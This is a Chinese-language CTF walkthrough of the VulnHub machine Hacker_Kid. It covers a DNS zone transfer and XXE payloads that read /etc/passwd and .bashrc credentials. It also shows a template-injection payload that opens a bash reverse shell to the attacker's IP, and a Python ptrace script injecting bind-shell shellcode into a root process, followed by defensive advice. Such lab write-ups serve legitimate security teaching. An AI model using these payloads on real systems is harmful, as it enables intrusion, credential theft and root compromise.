VnlnHub Hacker_Kid-v1.0.1
字数 1915 2025-08-12 11:34:30
Hacker_Kid-v1.0.1 渗透测试教学文档
靶机概述
- 靶机名称:Hacker_Kid-v1.0.1
- 文件类型:虚拟机.ova压缩文件
- 网络配置:建议使用NAT模式(与Kali攻击机保持一致)
- 作者提示:关注信息搜集,不需要爆破,每一步都有适当提示
环境搭建
- 使用VMware导入.ova文件
- 设置网络模式为NAT或桥接(与Kali攻击机一致)
- 启动虚拟机
信息搜集
网络扫描
-
确定靶机IP:
- 扫描NAT网段(示例中Kali IP为192.168.52.128)
- 发现靶机IP为192.168.52.136
-
端口扫描:
nmap -sV 192.168.52.136发现开放端口:
- 53/TCP:DNS服务
- 80/TCP:HTTP服务(Apache 2.4.41)
- 9999/TCP:HTTP服务(Tornado 6.1)
-
UDP端口扫描:
nmap -sU -p 53 192.168.52.136确认UDP 53端口开放
Web渗透(80端口)
初步分析
-
访问http://192.168.52.136
- 页面提示:"一个黑客小子黑了整个服务器,如果你足够聪明的话,可以取回服务器"
- 提示:"你挖掘的越深,你发现的越多关于我,dig me挖掘我"
-
页面功能测试:
- 点击"start"按钮跳转到index.html(404)
- 其他按钮带有#符号(#app.html,#form.html)
- 去掉#后可以访问app.html和form.html,但功能被破坏
-
查看源码发现提示:
- 使用GET参数page_no浏览页面
参数测试
-
添加page_no参数:
http://192.168.52.136?page_no=1- 响应提示方法正确
-
使用Burp Intruder批量测试page_no参数(1-1000)
- 发现page_no=21时响应不同
- 访问page_no=21获得新提示:
- 黑客小子创建了子域名
- 其中一个域名为hacker.blackhat.local
DNS信息搜集
-
编辑/etc/hosts文件:
192.168.52.136 hacker.blackhat.local -
使用dig工具进行DNS区域传输:
dig axfr @192.168.52.136 blackhat.local- 成功获取DNS区域数据(安全配置不当)
- 发现新域名:
- hackerkid.blackhat.local
- www.blackhat.local
-
添加新域名到/etc/hosts:
192.168.52.136 hackerkid.blackhat.local 192.168.52.136 www.blackhat.local -
访问新域名:
- hackerkid.blackhat.local:注册页面
- www.blackhat.local:无访问权限
Web渗透(9999端口)
-
访问http://192.168.52.136:9999
- 发现登录界面
- 尝试admin/admin失败
- 作者提示不需要暴力破解
-
关联hackerkid.blackhat.local的注册功能:
- 尝试注册账号,提示邮箱不合法
- 抓包发现数据通过XML格式发送
XXE漏洞利用
-
构造XXE payload:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>- 在email字段引用:
&xxe; - 成功读取/etc/passwd,发现两个可SSH登录用户
- 在email字段引用:
-
读取其他文件:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>- Base64解码后获得账号密码
-
使用获取的凭据登录9999端口:
- 用户名:saket
- 密码:从.bashrc获取的密码
- 登录成功
表达式注入
-
页面提示:"告诉我你的名字"
- 测试发现name参数
- 响应中原样显示输入内容
-
测试表达式注入:
{{1+abcxyz}}- 返回错误,确认存在漏洞
- 测试有效表达式类型:
{{9*9}}被执行
-
利用表达式注入获取反向shell:
- Kali监听:
nc -lvnp 4444 - 构造payload:
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.128/4444 0>&1"')}} - URL编码后作为name参数值
- 成功获取shell
- Kali监听:
权限提升
初始提权尝试
-
sudo提权:
sudo -l- 无可利用命令
-
SUID提权:
find / -perm -4000 2>/dev/null- 无可利用的常见SUID文件
-
内核提权:
- 搜索漏洞无果
Linux Capabilities提权
-
检查具有capabilities的文件:
/sbin/getcap -r / 2>/dev/null- 发现:
/usr/bin/python2.7 = cap_sys_ptrace+ep
- 发现:
-
利用cap_sys_ptrace能力:
- 列出root进程:
ps -ef | grep root - 选择目标进程(示例中PID为782)
- 列出root进程:
-
使用Python脚本注入shellcode:
# inject.py import ctypes import sys import struct # Macros PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17 class user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), # ... 其他寄存器定义 ] libc = ctypes.CDLL("libc.so.6") pid = int(sys.argv[1]) # 附加到进程 libc.ptrace(PTRACE_ATTACH, pid, None, None) # 获取寄存器值 registers = user_regs_struct() libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) # Shellcode(反向连接) shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" # 注入shellcode for i in xrange(0, len(shellcode), 4): shellcode_byte_int = int(shellcode[i:4+i].encode('hex'), 16) shellcode_byte_little_endian = struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex') shellcode_byte = int(shellcode_byte_little_endian, 16) libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i), shellcode_byte) # 修改指令指针 registers.rip += 2 libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers)) # 分离进程 libc.ptrace(PTRACE_DETACH, pid, None, None) -
执行注入:
python2.7 inject.py 782- 注入成功后开启5600端口
-
Kali连接获取root shell:
nc 192.168.52.136 5600- 成功获得root权限
总结
-
渗透路径:
- 信息搜集 → DNS区域传输 → 子域名发现 → XXE漏洞 → 凭证获取 → 表达式注入 → Capabilities提权
-
关键技术点:
- DNS区域传输漏洞利用
- XXE漏洞读取系统文件
- 服务器端模板注入(SSTI)
- Linux Capabilities提权技术
-
防御建议:
- 正确配置DNS服务器,禁用区域传输
- 禁用XML外部实体解析
- 对用户输入进行严格过滤
- 限制程序的特权能力(Capabilities)
- 定期更新和修补系统